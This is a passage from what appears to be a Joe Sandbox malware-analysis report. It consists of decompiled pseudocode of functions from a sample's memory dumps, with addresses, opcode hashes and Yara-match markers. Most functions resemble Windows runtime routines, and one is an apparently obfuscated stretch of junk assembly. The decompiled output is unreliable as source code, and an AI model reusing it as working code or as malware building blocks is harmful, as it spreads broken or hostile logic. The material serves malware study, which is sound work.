					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0xd81664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E00DEE5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0xd81668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E00E251BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0xd8166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E00DD2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = L00DB6600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E00DD2C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								L00DBEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E00DD2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E00DD2C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E00DD2ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E00DFD0D1(_t62);
				goto L28;
			}

0x00dd2990
0x00dd2992
0x00dd2997
0x00dd29a3
0x00dd29a6
0x00dd29ab
0x00dd29ad
0x00dd29b2
0x00e15c80
0x00dd29b8
0x00dd29b8
0x00dd29bb
0x00dd29c0
0x00dd29c5
0x00dd29c6
0x00dd29c6
0x00dd29cb
0x00000000
0x00000000
0x00dd29cd
0x00dd29d0
0x00dd29d9
0x00dd29db
0x00dd29dd
0x00dd2a7f
0x00dd2a84
0x00dd2a87
0x00dd2a89
0x00e15ca1
0x00e15ca3
0x00000000
0x00dd2a8f
0x00dd2a8f
0x00000000
0x00dd2a8f
0x00000000
0x00dd29e3
0x00dd29e3
0x00dd29e3
0x00000000
0x00dd29e3
0x00dd29dd
0x00000000
0x00dd29db
0x00dd29e6
0x00dd29e9
0x00dd29eb
0x00dd29ed
0x00dd29f3
0x00dd29f5
0x00dd29f8
0x00dd29fa
0x00dd2a97
0x00dd2a9a
0x00dd2a9d
0x00dd2add
0x00000000
0x00dd2a9f
0x00dd2aa2
0x00dd2aa5
0x00dd2aa8
0x00dd2aab
0x00e15cab
0x00e15caf
0x00e15cc5
0x00e15cda
0x00e15cdc
0x00e15cdf
0x00e15ce5
0x00000000
0x00e15ceb
0x00e15ced
0x00e15cee
0x00000000
0x00e15cee
0x00e15cb1
0x00e15cb4
0x00e15cb9
0x00e15cbb
0x00000000
0x00e15cbd
0x00e15cbd
0x00000000
0x00e15cbd
0x00e15cbb
0x00dd2ab1
0x00dd2ab1
0x00dd2ac4
0x00dd2ac6
0x00dd2ac6
0x00000000
0x00dd2ac6
0x00dd2aab
0x00000000
0x00dd2a00
0x00dd2a09
0x00dd2a0e
0x00dd2a21
0x00dd2a24
0x00dd2a35
0x00dd2a3a
0x00dd2a3d
0x00dd2a42
0x00dd2a59
0x00dd2a59
0x00dd2a5c
0x00dd2a5f
0x00dd2a5f
0x00dd29fa
0x00dd29f3
0x00dd2a64
0x00dd2a64
0x00dd2a6b
0x00dd2a6b
0x00dd2a6d
0x00dd2a72
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 951421259e41ec4a6d0a16f5c20b62844cd0304c695e89b56db95fdc2c2358e7
Instruction ID: fa88edcf9b9935933b57bdd36d8bd7a18b815b7ec1081f1d291c622db47db281
Opcode Fuzzy Hash: 951421259e41ec4a6d0a16f5c20b62844cd0304c695e89b56db95fdc2c2358e7
Instruction Fuzzy Hash: 5F512371A0020ADFCF25DF95C880AEEBBB5FB68314F159056F805AB321D7359D92DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DD4BAD Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00DD4BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				short _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0xe9d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E00DACC50(_t86);
					L11:
					return L00DEB640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0xe98504
				E00DC2280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E00DEFA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E00DEB0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L00DC4620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E00DACCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0xe98504
								L00DBFFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								L00DD4F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x00dd4bad
0x00dd4bbf
0x00dd4bc2
0x00dd4bc6
0x00dd4bcd
0x00dd4bd9
0x00e167fe
0x00e16800
0x00dd4ccc
0x00dd4ccd
0x00dd4cb7
0x00dd4cc9
0x00dd4cc9
0x00dd4bdf
0x00dd4be5
0x00000000
0x00000000
0x00dd4beb
0x00dd4bef
0x00000000
0x00000000
0x00dd4bf5
0x00dd4bf9
0x00dd4c06
0x00dd4c0b
0x00dd4c17
0x00dd4c1c
0x00dd4c1f
0x00dd4c25
0x00dd4c33
0x00dd4c3d
0x00dd4c40
0x00dd4c43
0x00dd4c47
0x00dd4c4d
0x00dd4c53
0x00dd4c54
0x00dd4c55
0x00dd4c56
0x00dd4c5b
0x00dd4c5c
0x00dd4c63
0x00dd4c6b
0x00000000
0x00000000
0x00e16776
0x00e16784
0x00e16784
0x00e1679f
0x00e167a7
0x00e167af
0x00e167ce
0x00000000
0x00e167b1
0x00e167b7
0x00e167b8
0x00e167c1
0x00e167d3
0x00e167d9
0x00e167dd
0x00dd4c94
0x00dd4c94
0x00dd4c98
0x00dd4c9c
0x00dd4ca3
0x00e167f4
0x00e167f4
0x00dd4cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x00dd4cb5
0x00dd4c79
0x00dd4c7e
0x00dd4c89
0x00dd4c8b
0x00dd4c8f
0x00dd4c8f
0x00000000
0x00dd4c89
0x00e167c3
0x00000000
0x00e167c3
0x00e167af
0x00dd4c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32c31c4c6eac3007744dfd97f640915864ccc9dd7ba9ea07ed0b18303327b1ac
Instruction ID: ad44ffdf559702e5a2c166a9c6ba0e35d50f8ee4cca82f97f795cbaeba456df4
Opcode Fuzzy Hash: 32c31c4c6eac3007744dfd97f640915864ccc9dd7ba9ea07ed0b18303327b1ac
Instruction Fuzzy Hash: B9419335A412289BCB21DF68C941FEA77B4EF45714F0104AAE948AB341DB74DE84CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00E72B28 Relevance: .1, Instructions: 129
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00E72B28(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, intOrPtr* _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				signed int _t30;
				signed int _t35;
				unsigned int _t50;
				signed int _t52;
				signed int _t53;
				unsigned int _t58;
				signed int _t61;
				signed int _t63;
				signed int _t67;
				signed int _t69;
				intOrPtr _t75;
				signed int _t81;
				signed int _t87;
				void* _t88;
				signed int _t90;
				signed int _t93;

				_t69 = __ecx;
				_t30 = _a4;
				_t90 = __edx;
				_t81 = __ecx;
				_v12 = __ecx;
				_t87 = _t30 - 8;
				if(( *(__ecx + 0x38) & 0x00000001) != 0 && (_t30 & 0x00000fff) == 0) {
					_t87 = _t87 - 8;
				}
				_t67 = 0;
				if(_t90 != 0) {
					L14:
					if((0x0000abed ^  *(_t90 + 0x16)) ==  *((intOrPtr*)(_t90 + 0x14))) {
						_t75 = (( *_t87 ^  *0xe96110 ^ _t87) >> 0x00000001 & 0x00007fff) * 8 - 8;
						 *_a12 = _t75;
						_t35 = _a8 & 0x00000001;
						_v16 = _t35;
						if(_t35 == 0) {
							E00DC2280(_t35, _t81);
							_t81 = _v12;
						}
						_v5 = 0xff;
						if(( *_t87 ^  *0xe96110 ^ _t87) < 0) {
							_t91 = _v12;
							_t88 = E00E7241A(_v12, _t90, _t87, _a8,  &_v5);
							if(_v16 == _t67) {
								L00DBFFB0(_t67, _t88, _t91);
							}
							if(_t88 != 0) {
								E00E73209(_t91, _t88, _a8);
							}
							_t67 = 1;
						} else {
							_push(_t75);
							_push(_t67);
							E00E6A80D( *((intOrPtr*)(_t81 + 0x20)), 8, _a4, _t87);
							if(_v16 == _t67) {
								L00DBFFB0(_t67, _t87, _v12);
							}
						}
					} else {
						_push(_t69);
						_push(_t67);
						E00E6A80D( *((intOrPtr*)(_t81 + 0x20)), 0x12, _t90, _t67);
					}
					return _t67;
				}
				_t69 =  *0xe96110; // 0xdebee063
				_t93 = _t87;
				_t50 = _t69 ^ _t87 ^  *_t87;
				if(_t50 >= 0) {
					_t52 = _t50 >> 0x00000010 & 0x00007fff;
					if(_t52 == 0) {
						L12:
						_t53 = _t67;
						L13:
						_t90 = _t93 - (_t53 << 0x0000000c) & 0xfffff000;
						goto L14;
					}
					_t93 = _t87 - (_t52 << 3);
					_t58 =  *_t93 ^ _t69 ^ _t93;
					if(_t58 < 0) {
						L10:
						_t61 =  *(_t93 + 4) ^ _t69 ^ _t93;
						L11:
						_t53 = _t61 & 0x000000ff;
						goto L13;
					}
					_t63 = _t58 >> 0x00000010 & 0x00007fff;
					if(_t63 == 0) {
						goto L12;
					}
					_t93 = _t93 + _t63 * 0xfffffff8;
					goto L10;
				}
				_t61 =  *(_t87 + 4) ^ _t69 ^ _t87;
				goto L11;
			}

0x00e72b28
0x00e72b30
0x00e72b35
0x00e72b37
0x00e72b3a
0x00e72b3d
0x00e72b44
0x00e72b4d
0x00e72b4d
0x00e72b50
0x00e72b54
0x00e72bb0
0x00e72bbd
0x00e72be8
0x00e72bef
0x00e72bf4
0x00e72bf7
0x00e72bfa
0x00e72bfd
0x00e72c02
0x00e72c02
0x00e72c0f
0x00e72c13
0x00e72c3b
0x00e72c4a
0x00e72c4f
0x00e72c52
0x00e72c52
0x00e72c59
0x00e72c62
0x00e72c62
0x00e72c69
0x00e72c15
0x00e72c18
0x00e72c19
0x00e72c21
0x00e72c29
0x00e72c2f
0x00e72c2f
0x00e72c29
0x00e72bbf
0x00e72bc2
0x00e72bc3
0x00e72bc9
0x00e72bc9
0x00e72c72
0x00e72c72
0x00e72b56
0x00e72b5c
0x00e72b62
0x00e72b64
0x00e72b72
0x00e72b77
0x00e72ba3
0x00e72ba3
0x00e72ba5
0x00e72baa
0x00000000
0x00e72baa
0x00e72b7e
0x00e72b84
0x00e72b86
0x00e72b97
0x00e72b9c
0x00e72b9e
0x00e72b9e
0x00000000
0x00e72b9e
0x00e72b8b
0x00e72b90
0x00000000
0x00000000
0x00e72b95
0x00000000
0x00e72b95
0x00e72b6b
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 593e5dddb69924d79a2b4f033f3c6ac2196f93ad0886ebb24fddc075e450319c
Instruction ID: 91af13cd8869c46b7638b9037a45ec61551e40e5ffacea0894a33a6c64b95be6
Opcode Fuzzy Hash: 593e5dddb69924d79a2b4f033f3c6ac2196f93ad0886ebb24fddc075e450319c
Instruction Fuzzy Hash: 4E412773A10105ABC714CF28C8859BAF7E9EF58324B15C66DEA19EB281D634ED06C790

Uniqueness

Uniqueness Score: -1.00%

Function 00DB8A0A Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00DB8A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0xe9d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return L00DEB640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E00DBE9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0xd81180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = L00DD1DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E00DE3C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E00DB8999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x00db8a0a
0x00db8a1c
0x00db8a23
0x00db8a2e
0x00db8a30
0x00db8a36
0x00db8a3c
0x00db8a3e
0x00db8a4a
0x00db8a52
0x00db8a9c
0x00db8aae
0x00db8a58
0x00db8a5e
0x00db8a6a
0x00db8a6f
0x00db8a75
0x00db8a7d
0x00db8a85
0x00db8a86
0x00db8a89
0x00db8a93
0x00db8a99
0x00db8a9b
0x00000000
0x00db8aaf
0x00db8abe
0x00db8ac3
0x00db8acb
0x00db8ad7
0x00db8ae0
0x00db8af1
0x00000000
0x00db8af1
0x00db8acd
0x00db8ad5
0x00db8afb
0x00db8afd
0x00db8aff
0x00db8b07
0x00db8b22
0x00db8b24
0x00db8b2a
0x00db8b2e
0x00db8b3f
0x00db8b78
0x00db8b41
0x00db8b52
0x00db8b54
0x00db8b5c
0x00db8b74
0x00db8b74
0x00db8b5c
0x00db8b3f
0x00db8b5e
0x00db8b61
0x00db8b64
0x00db8b64
0x00db8b6c
0x00db8b6c
0x00db8b11
0x00e09cd5
0x00e09cd5
0x00db8b17
0x00db8b1a
0x00db8b1a
0x00000000
0x00db8ad5
0x00db8a89

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 135d08ad046676a5605c91b631f8fc927e802c5f4d27894f1f2555b345bca1a7
Instruction ID: 2b065f07852b7237095b94bc337738fff4702a89875ca6d89fbbdc3c3641a43f
Opcode Fuzzy Hash: 135d08ad046676a5605c91b631f8fc927e802c5f4d27894f1f2555b345bca1a7
Instruction Fuzzy Hash: 654153B4A0022CDBDB24DF25C888AE9B7B8FB54300F1445EAD81A97252DB70DE84DF70

Uniqueness

Uniqueness Score: -1.00%

Function 0002E78A Relevance: .1, Instructions: 119
COMMONCrypto

Download Yara Rule

C-Code - Quality: 43%

			E0002E78A(signed char __eax, signed int __ebx, signed char __ecx, signed char __edx, void* __edi, void* __esi, void* __eflags) {
				signed char _t23;
				signed int _t24;
				void* _t27;
				signed int _t28;
				signed char _t31;
				signed int _t32;
				signed char _t37;
				void* _t48;
				void* _t49;
				void* _t56;

				_t56 = __eflags;
				_t48 = __esi;
				_t37 = __edx;
				_t31 = __ecx;
				_t28 = __ebx;
				_t23 = __eax;
				asm("popad");
				L2:
				while(1) {
					if(_t56 == 0) {
						_t32 = _t31 + 0x63;
						_t48 = _t48 - 0xb00218dd;
						asm("scasb");
						if(_t48 >= 0) {
							L1:
							__eflags =  *0x939ff7b7 & _t37;
							_t23 = _t23 | 0x000000b0;
							asm("rcr byte [0x748f83e7], 0xb9");
							_t49 = _t49 - 1;
							 *0xe217dc62 =  *0xe217dc62 >> 0xfe;
							asm("adc edx, [0xc4bbc419]");
							_t31 = _t32 + 0xe5;
							asm("adc [0x4e759084], ah");
							continue;
						} else {
							 *0xe77cd173 =  *0xe77cd173 >> 0x30;
							asm("lodsb");
							_t48 = _t48 -  *0x2f9d1616;
							 *0xa8e0cc32 =  *0xa8e0cc32 >> 0x24;
							_t37 = 0xc02c16ef;
							asm("adc esi, [0xefca2585]");
							 *0xe0cc32b2 =  *0xe0cc32b2 << 0x1d;
							 *0xa616efa8 =  *0xa616efa8 - _t23;
							 *0xa91945c6 =  *0xa91945c6 << 0x42;
							_t23 = 0xcc32c1da;
						}
					}
					asm("fcmovb st0, st1");
					_t32 = _t31 ^ _t23;
					_t37 = _t37 + 0x188;
					asm("rcl dword [0xc83916ef], 0x63");
					if(_t37 != 0) {
						goto L1;
					}
					_t49 = _t49 + 1;
					asm("adc [0xc68ff209], ecx");
					 *0x3816efa8 =  *0x3816efa8 - _t37;
					asm("sbb edx, [0x173a7bc8]");
					_push(_t37);
					_t24 = _t23 + 1;
					_push(_t24);
					asm("rcr dword [0xef45d88d], 0xd6");
					_push(_t24 |  *0x81d04116);
					asm("rcl byte [0x4052173a], 0xe8");
					_push( *0x81c42916);
					 *0x9cba1d16 = 0xef45d88d;
					_pop(_t27);
					asm("sbb ebx, 0x8daddd0f");
					asm("scasb");
					 *0x311087db =  *0x311087db << 0x30;
					_push(_t49);
					asm("adc ah, 0xe7");
					asm("rcr dword [0x453d99a1], 0x54");
					asm("adc ecx, [0x32ee16ef]");
					asm("adc edx, [0x1db40ffd]");
					 *0x2b16efa8 =  *0x2b16efa8 >> 0x83;
					asm("sbb ecx, 0xbe0b1c6d");
					 *0x16efa8e0 =  *0x16efa8e0 | _t37 - 0x000000b4;
					 *0x17ff2f8a =  *0x17ff2f8a >> 0xc5;
					asm("ror dword [0xefa8e0cc], 0x9a");
					 *0x7093ff16 = 0x997775;
					asm("adc [0xa8e0cc32], al");
					 *0x34f216ef =  *0x34f216ef + (_t28 |  *0xe0cc32c1);
					_t23 = _t27 +  *0xe0cc32b9;
					asm("sbb bh, [0x2116efa8]");
					asm("stosb");
					asm("sbb dh, 0xe2");
					asm("sbb [0xb36b616], eax");
					asm("scasb");
					_t37 = 0xe0;
					asm("adc edx, [0xefa8e0cc]");
					 *0xa8e0cc32 =  *0xa8e0cc32 >> 0x9e;
					asm("sbb [0xf9af869a], edi");
					asm("adc [0x420816d2], dl");
					_t32 = ((_t32 ^  *0xef45d88d) - 0x00000001 &  *0xf2ba16ef) - 1 +  *0xf2c1ab9c;
					 *0x416efa8 =  *0x416efa8 << 0x8f;
					asm("rcr dword [0xbda7983e], 0xa");
					asm("rol dword [0x16d24939], 0x83");
					 *0x71c621c =  *0x71c621c << 0xcb;
					asm("movsb");
					asm("adc ah, 0xa8");
					_push( *0x16ef45d8);
					_t28 =  *0xc4a8009a ^  *0x9ba0f4be;
					asm("rcl byte [0xa899d1b4], 0xe3");
					if(_t48 !=  *0x16d24939) {
						goto L1;
					}
					return _t23;
				}
			}

0x0002e78a
0x0002e78a
0x0002e78a
0x0002e78a
0x0002e78a
0x0002e78a
0x0002e78a
0x00000000
0x0002e7e9
0x0002e7ea
0x0002e7ec
0x0002e7ef
0x0002e7f5
0x0002e7f6
0x0002e7c6
0x0002e7c6
0x0002e7cc
0x0002e7ce
0x0002e7d5
0x0002e7d6
0x0002e7dd
0x0002e7e3
0x0002e7e6
0x00000000
0x0002e7f8
0x0002e7f8
0x0002e7ff
0x0002e806
0x0002e812
0x0002e819
0x0002e81e
0x0002e824
0x0002e82b
0x0002e831
0x0002e838
0x0002e838
0x0002e7f6
0x0002e83a
0x0002e83c
0x0002e841
0x0002e844
0x0002e84b
0x00000000
0x00000000
0x0002e85c
0x0002e863
0x0002e86f
0x0002e875
0x0002e87b
0x0002e87c
0x0002e87d
0x0002e87e
0x0002e891
0x0002e89d
0x0002e8a4
0x0002e8aa
0x0002e8b0
0x0002e8b4
0x0002e8c0
0x0002e8c1
0x0002e8c8
0x0002e8c9
0x0002e8cc
0x0002e8d3
0x0002e8d9
0x0002e8e4
0x0002e8eb
0x0002e8f7
0x0002e8fd
0x0002e90a
0x0002e911
0x0002e91d
0x0002e923
0x0002e92f
0x0002e935
0x0002e953
0x0002e954
0x0002e960
0x0002e97e
0x0002e97f
0x0002e982
0x0002e994
0x0002e9a1
0x0002e9ae
0x0002e9b4
0x0002e9c0
0x0002e9c7
0x0002e9d4
0x0002e9db
0x0002e9e2
0x0002e9fb
0x0002e9fe
0x0002ea04
0x0002ea0a
0x0002ea18
0x00000000
0x00000000
0x0002ea24
0x0002ea24

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 058f21e2f6e726e003ce394518deacba2b4ccd1bf33f68dc6be12c52b3496d7e
Instruction ID: d155377355bcbe7ad66d0a7bb60a7f653600741fed7fb1977839be372e32eed9
Opcode Fuzzy Hash: 058f21e2f6e726e003ce394518deacba2b4ccd1bf33f68dc6be12c52b3496d7e
Instruction Fuzzy Hash: D75121369493D1DFE711CF78E8DAA413FB6E786720708038EC8A14A1D6D361146ACB84

Uniqueness

Uniqueness Score: -1.00%

Function 00E6FDE2 Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00E6FDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = L00E6FD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E00E70A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(L00DC7D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							L00E61608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E00E72B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
